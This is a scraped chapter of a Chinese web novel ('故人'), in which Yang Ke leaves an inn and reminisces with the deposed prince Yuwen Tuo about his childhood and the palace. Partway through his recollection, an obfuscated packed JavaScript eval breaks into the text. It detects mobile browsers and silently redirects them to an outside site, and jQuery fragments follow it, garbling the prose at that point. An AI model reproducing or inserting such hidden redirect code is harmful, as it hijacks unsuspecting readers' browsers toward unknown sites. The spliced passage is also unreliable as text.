默认冷灰
24号文字
方正启体

148.故人

作者:文无汀本书字数:K更新时间:
    雨后天晴,京城里烟火复燃,长街两侧又是一番鲜亮景象。


    杨柯受公孙瑶所托,去东城难民营安置物资。回去的路上,心念微动,脚步一拐,还是迈进了紫英阁。


    阁内笑语喧喧,酒香氤氲,一切都和从前一般无二。


    “哎哟,杨公子!你跑哪儿发财去了?快一年没见着了,我还当你欠债不还,叫官老爷逮去了呢!”


    红娘摇着扇子迎了上来,杨柯瞥见那扇骨间又多出几颗翡翠,笑眯眯道:“我嘛,自然是外出公干。哪比得上红娘坐拥个大酒楼,天天数钱数到手抽筋。”


    “公干?快说说,升了什么官儿?”红娘凑近追问。


    杨柯一时语塞,正不知如何作答,忽觉一只手臂搭上自己的肩头:“她要当我逍遥居的少首领了!”


    林骞不知何时已走到二人跟前。


    红娘一时愣住,扇子也忘了摇:“什么少首领?林公子,你没吃酒吧?找她当少首领?”


    林骞噗嗤一笑:“红娘,大夏和柔然终于签了和约,促成此事的关键人物,就是你眼前这位。”他转向杨柯,“我邀她来当少首领,有何不可?”


    红娘眼睛唰地一亮,猛地拍上杨柯的背:“好你个小崽子!搞半天,是去柔然了!”她笑眼弯弯,连皱纹都深了几分,“出息了!真出息了!”


    “既然杨公子凯旋归来,红娘是不是得表示表示?”林骞双手抱胸,挑眉示意红娘。


    “这等事还要林公子提醒?”红娘扬手一挥,“元英!给二位公子上十壶桃花酿,记我账上!”


    杨柯听了大喜,桃花酿是她最爱,一次十壶,简直是百年难遇的美事:“好红娘!还是你最懂我!”


    酒菜很快备齐,红娘也退出了枕流轩,只剩下杨柯和林骞二人对坐。


    林骞敛了玩笑神色,从怀中掏出一包药散,推至杨柯面前:“小柯,你确定要用这种方式?”


    杨柯默然接过,塞进袖中:“药效够强吗?”


    “足够睡一天一夜了。”林骞见她态度坚定,摇头叹道,“可若你就这样不告而别,二哥醒来,发现你已经不在身边,只怕会更难过。”


    杨柯垂眸沉吟:“那也总好过……让他眼睁睁看着我离开。”


    林骞像看怪胎似的盯着她,最终失笑:“果真一物降一物,这世上也就你这般狠心。我也万万想不到,蛇神魄印竟就被你藏在肤下。”


    杨柯悠悠抿了一口酒:“那东西本不在我这儿。它原封在一个叫做玉玲珑的东西里,后来才转到我手中。”


    林骞立刻伸出手掌,半真半假道:“那玉玲珑如今何在?”


    杨柯抬手朝他掌心一拍:“你心里就只惦记玉玲珑!”


    林骞挑眉道:“你这不是好端端的?那玉玲珑可花了我不少银子。”


    杨柯轻哼一声:“玉玲珑嘛,我这儿是没有的。因为,原物当然要主人亲自来还咯。”


    话音落下,一道纤秀人影掀帘而入,“林公子。”


    林骞蓦地站起,一时怔在原地:“你……回来了?”


    芮伊款步走到他面前,浅笑淡然:“公子怎么忘了,芮伊本就是紫英阁的人。”她抬眼望向他,目光清澈认真,“不知公子昔日的承诺,如今是否还作数?”


    林骞凝望她片刻,终是扬起一抹洒脱笑容:“当然。”


    水晶帘动微风起,满架蔷薇一院香。


    杨柯悄悄起身,趁着二人未曾留意之际,缓步离开了紫英阁。


    走在路上,遥遥听见前方传来阵阵大笑声,一群人正围作一团,走近一看,竟是在斗蛐蛐。


    “快!快!掐它脖颈!”蓝衣男子猛戳芦苇席上的蛐蛐,挥舞着手臂大喊大叫。


    “哎哟!这小家伙蹿得真快!”边上的人连声惊呼。


    坐在人墙中央的男子对蓝衣笑道:“昨日就劝你买我这只,你偏不听。”


    蓝衣撇嘴道:“你往日给我挑的,不是体弱就是腿残,我哪敢信你?”


    那男子朗声大笑,拍了拍对方的肩膀:“王兄啊王兄,谁让你每回都等我卖完了才来?”


    “没意思,真没意思。”蓝衣咂咂嘴,摇着头起身要走。


    男子立即招呼道:“哎!王兄不如再和娘子讨点零用?下回我一定给你留最好的!”


    蓝衣一听,顿时满眼发光,一边搓着手,一边道:“真的?我这就去找我婆娘要!”说完便拔腿就跑。


    旁边一人对那男子道:“龚兄,你别等他,十里八乡就属他家里那位管的最紧,每回只施舍几文钱,别说蛐蛐了,连街边一碗白水都喝不起!”


    众人听了哈哈大笑。


    男子却只摆摆手:“不碍事,我赊给他就是。”


    那人竖起了大拇指:“还是龚兄大气。”


    又闲聊几句后,众人四散开去。


    男子将蛐蛐收进笼中,捡起芦苇席上散落的几个铜钱,掸了掸蛐蛐争斗后残落的须脚。


    杨柯缓步上前,站在男子跟前,试探地唤道:“端王殿下?”


    男子瞥她一眼,摆手道:“姑娘认错人了,这哪儿有什么端王,我就是个卖蛐蛐的。”


    杨柯蹲下身,平视着他:“宇文拓,我是杨柯。”


    男子收起芦苇站起身,将行囊绑在身旁棕马背上,“杨姑娘,端王早就不在了,宇文拓……也没了。”说完便拽着缰绳,抬脚要走。


    “你可以装作不认识我,但你千万别误会,我不是来找你麻烦的。”


    男子回转过身,微微一笑:“杨姑娘言重了。萍水相逢,你一个小姑娘,能找我什么麻烦?”


    杨柯也笑道:“当然。就是偶遇故人,想与你叙叙旧。”


    他目光动了动,又转过头去,继续往前走。


    杨柯跟上他的脚步,轻声问道:“这些年,你过得可好?”


    男子笑了笑:“向来不错。从前在皇宫里享受过了锦衣玉食,但终归是俯仰由人。如今虽对着一间陋室,也能体会到孔老头说的,箪食瓢饮之乐了。”


    杨柯又问:“记得当年先帝给你留了一处宅子,没有住在那里吗?”


    他淡然道:“宫家败落以后,家产都被抄尽,我想让宫家人好好度过余生,便将宅子卖了,银钱全都分给他们,我也用不着。”


    杨柯看着他,调侃道:“没想到曾经性情暴戾的大皇子,竟成了最无私的那个人。”


    他斜睨了她一眼,笑中带谑:“是啊杨柯,你这张嘴,到现在还是那么让人来气。”


    二人相视而笑,好像当年斗嘴争执的画面并不遥远。


    静默片刻,宇文拓终是低声问道:“父皇他……走时可安详?”


    杨柯颔首:“是病重而去。临别前,并未受太多痛苦。”


    他眼里蒙上一层忧伤,仰头望向天空:“活了一辈子,终究是困在那张龙椅上头了。”


    杨柯轻声问道:“你也曾靠近过那个位置,当年先帝那样对你,为何你现在反倒想开了?”


    他坦然一笑:“我从未对皇位有过执念。说实在的,至今也不明白父皇为何要选我做皇储,我不像伯喻那般满腹才华,也不比阿泰那般果断刚决,”他半是玩笑,半是无奈,“我唯一擅长的,就是玩乐。或许,只因为我是皇长子吧。”


    “小时候,我不爱读书,唯一喜欢骑马打猎。每回看到阿泰、麟儿还有擎哥三人作伴骑马,我就羡慕得不得了。那一回,我主动去猎苑找他们,我还不会骑马,就只在边上看着。麟儿最先看见我,他喊我跟他们一起玩,我好面子,就硬着头皮翻身上马,结果那马性子烈得很,一个甩头就把我摔下来了。”他自嘲地笑了笑,“本以为会遭他们取笑,没想到擎哥竟主动提出教我骑马。”


    此刻,他眼里的光,就像是初春的暖阳晒到了满地的芳草上。


    “自那以后,我就天天跑去猎苑,后来还随着他们同去塞外。慢慢地,成了四人结伴。我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327309|165772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骑马的本事也越来越好,连擎哥都说,他们三个都比不过我。”他的声音逐渐低了下去,“可惜后来,麟儿不在了,额娘也不许我再骑马了。”


    沉默片刻,杨柯还是问出了心底的疑问:“你可曾恨过丽妃?”


    宇文拓略显惊讶:“恨?她是对我不好没错,但她是我的母亲,也是皇宫里唯一把我放在心尖上的人。”


    杨柯道:“可她毕竟扼杀了你唯一的快乐。”


    “都是小时候的事了。我虽然顽劣,却也依稀明白母亲的苦心。我还记得,有一年冬天,她逼我背出李夫子布置的经文,让我顶着大雪站到玉镜台上去,”他的神情仿佛说了个笑话似的,“我趁着宫人偷懒的间隙,把书册摆在地上,往那湖里扔去一块大石头,自己藏到了门廊底下。你猜怎么着,水声把她们吵醒了,见了台上放着的书,却找不到我的人,以为我被逼得跳湖自尽。那群女人全都吓得跪地大哭,额娘也泪流不止。后来他们在鎏芳宫找到我,额娘拿起竹条就要打我,我拔腿就跑,硬是绕了承影湖一大圈。”


    “从此以后,我背书的地方就从玉镜台换到了鎏芳宫的偏殿里。”


    杨柯疑惑道:“为何是那儿?”


    “地方小,不容易逃。”宇文拓笑叹道,“这样的日子也没有太久。等她当我是块榆木了,这罪也算到头了。”


    察觉到气氛凝重,他转言问道:“你和阿泰如今怎样?”


    提到宇文泰,杨柯心中一涩:“我们……”


    他却了然一笑:“你们如今,就和两年前你与伯喻无异。”


    见杨柯面露惊讶,他朗声大笑:“你们三人呐,说一样也一样,说不一样也不一样。一样的痴,一样的倔,但每个人心底里想要的总和对方不一样。所以来回折腾,不过一段孽缘。伯喻娶了易家的姑娘,人却跑去了柔然,你说这算什么事?”


    杨柯叹道:“他始终放不下柔然。”


    “是啊,他和你分开,对彼此反倒是解脱。”他咂嘴感叹,“谁跟了他谁倒霉。”


    杨柯挑眉:“你倒是清楚得很。”


    宇文拓哈哈大笑。“至于阿泰嘛,”他神色微黯,“你和他在一起,至少他会好好待你。”


    杨柯心中涩意更浓,调转了话题:“当初是他使你沦落至此,你心中还怨他吗?”


    宇文拓却反问道:“阿泰何尝不苦?”他语气略顿,摇头低叹,“皇位对他而言,更像是一个诅咒。他是个重情义的人,为了保全在乎的人和事,不得不争,但他也失去了太多,麟儿就是个例子。我永远不会记恨他,若非当年他出手相救,我早已一命呜呼。”


    “当年发生了什么事?”


    “有一回我自己跑去了皇家围场里,结果碰见了白虎。”


    “围场里怎么会有白虎?”


    “有人故意为之。那时我还小,慌乱中爬上了树,可那老虎也会爬树,它爪子快勾住我的时候,阿泰一箭射穿了它的头,老虎当场毙命。”


    “白虎究竟是谁放进去的?”


    “还能有谁?不是易家,就是章家。”


    “那后来呢?”


    “父皇听闻此事后勃然大怒,彻底封禁了围场,对紫微宫也严加监管。但我和阿泰都明白,这只老虎死了,还会有更多的老虎冒出来。不过从那天起,我和他的情义,也就此结下。所以,无论他对我如何,在我心里,他永远是我的亲人。”


    话毕,二人已行至桥边,乌云已经散去,夕阳探出了头。


    宇文拓转向杨柯:“时候不早了,你快回去吧。”


    望着他仍旧年轻的脸,杨柯感到欣慰的同时又泛起一阵忧伤,她拱手道:“大哥,有缘再见。”


    他微笑还礼:“有缘再见。”


    斜晖落下,凉风习习,河水弥弥。回身望去,宇文拓骑马过桥,朗声吟道:“故人重见几星霜。鬓苍苍,视茫茫。把酒嘘唏,唯有叹兴亡。须信百年俱是梦,天地阔,且徜徉。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)